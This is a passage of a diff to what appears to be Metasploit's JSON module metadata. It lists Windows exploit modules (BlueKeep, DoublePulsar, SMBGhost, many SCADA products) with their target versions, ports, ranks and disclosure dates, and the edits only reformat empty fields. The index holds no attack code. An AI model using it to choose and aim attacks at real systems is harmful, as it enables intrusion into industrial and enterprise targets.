- "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 Pro All - English", @@ -191550,17 +170164,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/proxy/proxypro_http_get": { "name": "Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow", "fullname": "exploit/windows/proxy/proxypro_http_get", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-02-23", "type": "exploit", @@ -191576,12 +170187,8 @@ "platform": "Windows", "arch": "", "rport": 3128, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Proxy-Pro GateKeeper 4.7" ], @@ -191592,17 +170199,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/proxy/qbik_wingate_wwwproxy": { "name": "Qbik WinGate WWW Proxy Server URL Processing Overflow", "fullname": "exploit/windows/proxy/qbik_wingate_wwwproxy", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-06-07", "type": "exploit", @@ -191618,12 +170222,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "WinGate 6.1.1.1077" ], @@ -191634,17 +170234,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/rdp/cve_2019_0708_bluekeep_rce": { "name": "CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free", "fullname": "exploit/windows/rdp/cve_2019_0708_bluekeep_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-05-14", "type": "exploit", @@ -191663,12 +170260,8 @@ "platform": "Windows", "arch": "", "rport": 3389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic targeting via fingerprinting", "Windows 7 SP1 / 2008 R2 (6.1.7601 x64)", @@ -191698,9 +170291,7 @@ "exploit_windows/rdp/rdp_doublepulsar_rce": { "name": "RDP DOUBLEPULSAR Remote Code Execution", "fullname": "exploit/windows/rdp/rdp_doublepulsar_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-04-14", "type": "exploit", @@ -191719,12 +170310,8 @@ "platform": "Windows", "arch": "x64", "rport": 3389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Execute payload (x64)", "Neutralize implant" @@ -191749,9 +170336,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -191759,9 +170344,7 @@ "exploit_windows/sage/x3_adxsrv_auth_bypass_cmd_exec": { "name": "Sage X3 Administration Service Authentication Bypass Command Execution", "fullname": "exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2021-07-07", "type": "exploit", @@ -191778,12 +170361,8 @@ "platform": "Windows", "arch": "cmd, x86, x64", "rport": 1818, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Command", "Windows DLL", @@ -191814,9 +170393,7 @@ "exploit_windows/scada/abb_wserver_exec": { "name": "ABB MicroSCADA wserver.exe Remote Code Execution", "fullname": "exploit/windows/scada/abb_wserver_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-04-05", "type": "exploit", @@ -191834,12 +170411,8 @@ "platform": "Windows", "arch": "x86", "rport": 12221, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ABB MicroSCADA Pro SYS600 9.3" ], @@ -191850,17 +170423,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/advantech_webaccess_dashboard_file_upload": { "name": "Advantech WebAccess Dashboard Viewer uploadImageCommon Arbitrary File Upload", "fullname": "exploit/windows/scada/advantech_webaccess_dashboard_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-05", "type": "exploit", @@ -191903,17 +170473,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/scada/advantech_webaccess_webvrpcs_bof": { "name": "Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow", "fullname": "exploit/windows/scada/advantech_webaccess_webvrpcs_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-11-02", "type": "exploit", @@ -191929,12 +170496,8 @@ "platform": "Windows", "arch": "", "rport": 4592, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31" ], @@ -191945,17 +170508,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/citect_scada_odbc": { "name": "CitectSCADA/CitectFacilities ODBC Buffer Overflow", "fullname": "exploit/windows/scada/citect_scada_odbc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-06-11", "type": "exploit", @@ -191975,12 +170535,8 @@ "platform": "Windows", "arch": "", "rport": 20222, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Citect32.exe v5.21 NT4", @@ -192005,17 +170561,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/codesys_gateway_server_traversal": { "name": "SCADA 3S CoDeSys Gateway Server Directory Traversal", "fullname": "exploit/windows/scada/codesys_gateway_server_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-02", "type": "exploit", @@ -192031,12 +170584,8 @@ "platform": "Windows", "arch": "", "rport": 1211, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal S3 CoDeSyS < 2.3.9.27" ], @@ -192051,12 +170600,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": true @@ -192064,9 +170609,7 @@ "exploit_windows/scada/codesys_web_server": { "name": "SCADA 3S CoDeSys CmpWebServer Stack Buffer Overflow", "fullname": "exploit/windows/scada/codesys_web_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-02", "type": "exploit", @@ -192089,12 +170632,8 @@ "platform": "Windows", "arch": "", "rport": 8080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "CoDeSys v2.3 on Windows XP SP3", @@ -192107,17 +170646,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/daq_factory_bof": { "name": "DaqFactory HMI NETB Request Overflow", "fullname": "exploit/windows/scada/daq_factory_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-09-13", "type": "exploit", @@ -192135,12 +170671,8 @@ "platform": "Windows", "arch": "", "rport": 20034, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "DAQFactory Pro 5.85 Build 1853 on Windows XP SP3" ], @@ -192151,17 +170683,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/delta_ia_commgr_bof": { "name": "Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow", "fullname": "exploit/windows/scada/delta_ia_commgr_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-07-02", "type": "exploit", @@ -192182,12 +170711,8 @@ "platform": "Windows", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "COMMGR 1.08 / Windows Universal" ], @@ -192198,17 +170723,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/diaenergie_sqli": { "name": "DIAEnergie SQL Injection (CVE-2024-4548)", "fullname": "exploit/windows/scada/diaenergie_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-05-06", "type": "exploit", @@ -192224,12 +170746,8 @@ "platform": "Windows", "arch": "cmd", "rport": 928, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows_Fetch" ], @@ -192257,9 +170775,7 @@ "exploit_windows/scada/factorylink_csservice": { "name": "Siemens FactoryLink 8 CSService Logging Path Param Buffer Overflow", "fullname": "exploit/windows/scada/factorylink_csservice", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-25", "type": "exploit", @@ -192276,12 +170792,8 @@ "platform": "Windows", "arch": "", "rport": 7580, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3", @@ -192294,17 +170806,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/factorylink_vrn_09": { "name": "Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow", "fullname": "exploit/windows/scada/factorylink_vrn_09", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-03-21", "type": "exploit", @@ -192322,12 +170831,8 @@ "platform": "Windows", "arch": "", "rport": 7579, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "FactoryLink 7.5", @@ -192341,17 +170846,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/ge_proficy_cimplicity_gefebt": { "name": "GE Proficy CIMPLICITY gefebt.exe Remote Code Execution", "fullname": "exploit/windows/scada/ge_proficy_cimplicity_gefebt", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-01-23", "type": "exploit", @@ -192394,17 +170896,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/iconics_genbroker": { "name": "Iconics GENESIS32 Integer Overflow Version 9.21.201.01", "fullname": "exploit/windows/scada/iconics_genbroker", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-03-21", "type": "exploit", @@ -192422,12 +170921,8 @@ "platform": "Windows", "arch": "", "rport": 38080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP" ], @@ -192438,17 +170933,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/iconics_webhmi_setactivexguid": { "name": "ICONICS WebHMI ActiveX Buffer Overflow", "fullname": "exploit/windows/scada/iconics_webhmi_setactivexguid", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-05-05", "type": "exploit", @@ -192468,12 +170960,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6/7/8 on Windows XP SP3", @@ -192486,17 +170974,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/igss9_igssdataserver_listall": { "name": "7-Technologies IGSS IGSSdataServer.exe Stack Buffer Overflow", "fullname": "exploit/windows/scada/igss9_igssdataserver_listall", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-03-24", "type": "exploit", @@ -192516,12 +171001,8 @@ "platform": "Windows", "arch": "", "rport": 12401, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3/2003 Server R2 SP2 (DEP Bypass)" ], @@ -192532,17 +171013,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/igss9_igssdataserver_rename": { "name": "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow", "fullname": "exploit/windows/scada/igss9_igssdataserver_rename", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-24", "type": "exploit", @@ -192560,12 +171038,8 @@ "platform": "Windows", "arch": "", "rport": 12401, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3", @@ -192578,17 +171052,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/igss9_misc": { "name": "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities", "fullname": "exploit/windows/scada/igss9_misc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-03-24", "type": "exploit", @@ -192609,12 +171080,8 @@ "platform": "Windows", "arch": "", "rport": 0, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP", @@ -192628,17 +171095,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/igss_exec_17": { "name": "Interactive Graphical SCADA System Remote Command Injection", "fullname": "exploit/windows/scada/igss_exec_17", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-03-21", "type": "exploit", @@ -192655,12 +171119,8 @@ "platform": "Windows", "arch": "cmd", "rport": 12397, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -192671,17 +171131,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/indusoft_webstudio_exec": { "name": "InduSoft Web Studio Arbitrary Upload Remote Code Execution", "fullname": "exploit/windows/scada/indusoft_webstudio_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-04", "type": "exploit", @@ -192699,12 +171156,8 @@ "platform": "Windows", "arch": "", "rport": 4322, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP / 2003" ], @@ -192715,17 +171168,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/moxa_mdmtool": { "name": "MOXA Device Manager Tool 2.1 Buffer Overflow", "fullname": "exploit/windows/scada/moxa_mdmtool", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-10-20", "type": "exploit", @@ -192743,12 +171193,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MOXA MDM Tool 2.1" ], @@ -192759,17 +171205,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/mypro_cmdexe": { "name": "mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)", "fullname": "exploit/windows/scada/mypro_cmdexe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-09-22", "type": "exploit", @@ -192826,9 +171269,7 @@ "exploit_windows/scada/mypro_mgr_cmd": { "name": "mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)", "fullname": "exploit/windows/scada/mypro_mgr_cmd", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-11-21", "type": "exploit", @@ -192885,9 +171326,7 @@ "exploit_windows/scada/procyon_core_server": { "name": "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow", "fullname": "exploit/windows/scada/procyon_core_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-09-08", "type": "exploit", @@ -192904,12 +171343,8 @@ "platform": "Windows", "arch": "", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 - No dep bypass" ], @@ -192920,17 +171355,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/realwin": { "name": "DATAC RealWin SCADA Server Buffer Overflow", "fullname": "exploit/windows/scada/realwin", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-09-26", "type": "exploit", @@ -192946,12 +171378,8 @@ "platform": "Windows", "arch": "", "rport": 910, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -192962,17 +171390,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/realwin_on_fc_binfile_a": { "name": "DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow", "fullname": "exploit/windows/scada/realwin_on_fc_binfile_a", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-03-21", "type": "exploit", @@ -192991,12 +171416,8 @@ "platform": "Windows", "arch": "", "rport": 910, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -193007,17 +171428,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/realwin_on_fcs_login": { "name": "RealWin SCADA Server DATAC Login Buffer Overflow", "fullname": "exploit/windows/scada/realwin_on_fcs_login", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-03-21", "type": "exploit", @@ -193037,12 +171455,8 @@ "platform": "Windows", "arch": "", "rport": 910, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -193053,17 +171467,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/realwin_scpc_initialize": { "name": "DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow", "fullname": "exploit/windows/scada/realwin_scpc_initialize", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-10-15", "type": "exploit", @@ -193081,12 +171492,8 @@ "platform": "Windows", "arch": "", "rport": 912, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -193097,17 +171504,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/realwin_scpc_initialize_rf": { "name": "DATAC RealWin SCADA Server SCPC_INITIALIZE_RF Buffer Overflow", "fullname": "exploit/windows/scada/realwin_scpc_initialize_rf", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-10-15", "type": "exploit", @@ -193125,12 +171529,8 @@ "platform": "Windows", "arch": "", "rport": 912, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -193141,17 +171541,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/realwin_scpc_txtevent": { "name": "DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow", "fullname": "exploit/windows/scada/realwin_scpc_txtevent", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-18", "type": "exploit", @@ -193167,12 +171564,8 @@ "platform": "Windows", "arch": "", "rport": 912, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -193183,17 +171576,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/rockwell_factorytalk_rce": { "name": "Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution", "fullname": "exploit/windows/scada/rockwell_factorytalk_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-22", "type": "exploit", @@ -193259,9 +171649,7 @@ "exploit_windows/scada/scadapro_cmdexe": { "name": "Measuresoft ScadaPro Remote Command Execution", "fullname": "exploit/windows/scada/scadapro_cmdexe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-09-16", "type": "exploit", @@ -193282,12 +171670,8 @@ "platform": "Windows", "arch": "", "rport": 11234, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -193298,17 +171682,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/sunway_force_control_netdbsrv": { "name": "Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57", "fullname": "exploit/windows/scada/sunway_force_control_netdbsrv", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-09-22", "type": "exploit", @@ -193326,12 +171707,8 @@ "platform": "Windows", "arch": "", "rport": 2001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -193342,17 +171719,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/winlog_runtime": { "name": "Sielco Sistemi Winlog Buffer Overflow", "fullname": "exploit/windows/scada/winlog_runtime", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-01-13", "type": "exploit", @@ -193370,12 +171744,8 @@ "platform": "Windows", "arch": "", "rport": 46823, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Winlog Lite 2.07.00" ], @@ -193386,17 +171756,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/winlog_runtime_2": { "name": "Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16", "fullname": "exploit/windows/scada/winlog_runtime_2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-04", "type": "exploit", @@ -193415,12 +171782,8 @@ "platform": "Windows", "arch": "", "rport": 46824, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project", "Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project" @@ -193432,17 +171795,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/yokogawa_bkbcopyd_bof": { "name": "Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow", "fullname": "exploit/windows/scada/yokogawa_bkbcopyd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-10", "type": "exploit", @@ -193459,12 +171819,8 @@ "platform": "Windows", "arch": "", "rport": 20111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3" ], @@ -193475,17 +171831,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/yokogawa_bkesimmgr_bof": { "name": "Yokogawa CS3000 BKESimmgr.exe Buffer Overflow", "fullname": "exploit/windows/scada/yokogawa_bkesimmgr_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-10", "type": "exploit", @@ -193502,12 +171855,8 @@ "platform": "Windows", "arch": "", "rport": 34205, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Yokogawa Centum CS3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]" ], @@ -193518,17 +171867,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/yokogawa_bkfsim_vhfd": { "name": "Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow", "fullname": "exploit/windows/scada/yokogawa_bkfsim_vhfd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-23", "type": "exploit", @@ -193546,12 +171892,8 @@ "platform": "Windows", "arch": "", "rport": 20010, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3" ], @@ -193562,17 +171904,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/yokogawa_bkhodeq_bof": { "name": "Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow", "fullname": "exploit/windows/scada/yokogawa_bkhodeq_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-03-10", "type": "exploit", @@ -193589,12 +171928,8 @@ "platform": "Windows", "arch": "", "rport": 20171, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]" ], @@ -193605,17 +171940,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/sip/aim_triton_cseq": { "name": "AIM Triton 1.0.4 CSeq Buffer Overflow", "fullname": "exploit/windows/sip/aim_triton_cseq", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-07-10", "type": "exploit", @@ -193631,12 +171963,8 @@ "platform": "Windows", "arch": "", "rport": 5061, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "AIM Triton 1.0.4 Universal" ], @@ -193647,17 +171975,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/sip/sipxezphone_cseq": { "name": "SIPfoundry sipXezPhone 0.35a CSeq Field Overflow", "fullname": "exploit/windows/sip/sipxezphone_cseq", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-07-10", "type": "exploit", @@ -193673,12 +171998,8 @@ "platform": "Windows", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "sipXezPhone 0.35a Universal" ], @@ -193689,17 +172010,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/sip/sipxphone_cseq": { "name": "SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow", "fullname": "exploit/windows/sip/sipxphone_cseq", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-07-10", "type": "exploit", @@ -193715,12 +172033,8 @@ "platform": "Windows", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SIPfoundry sipXphone 2.6.0.27 Universal" ], @@ -193731,17 +172045,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/smb/cve_2020_0796_smbghost": { "name": "SMBv3 Compression Buffer Overflow", "fullname": "exploit/windows/smb/cve_2020_0796_smbghost", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2020-03-13", "type": "exploit", @@ -193763,12 +172074,8 @@ "platform": "Windows", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 v1903-1909 x64" ], 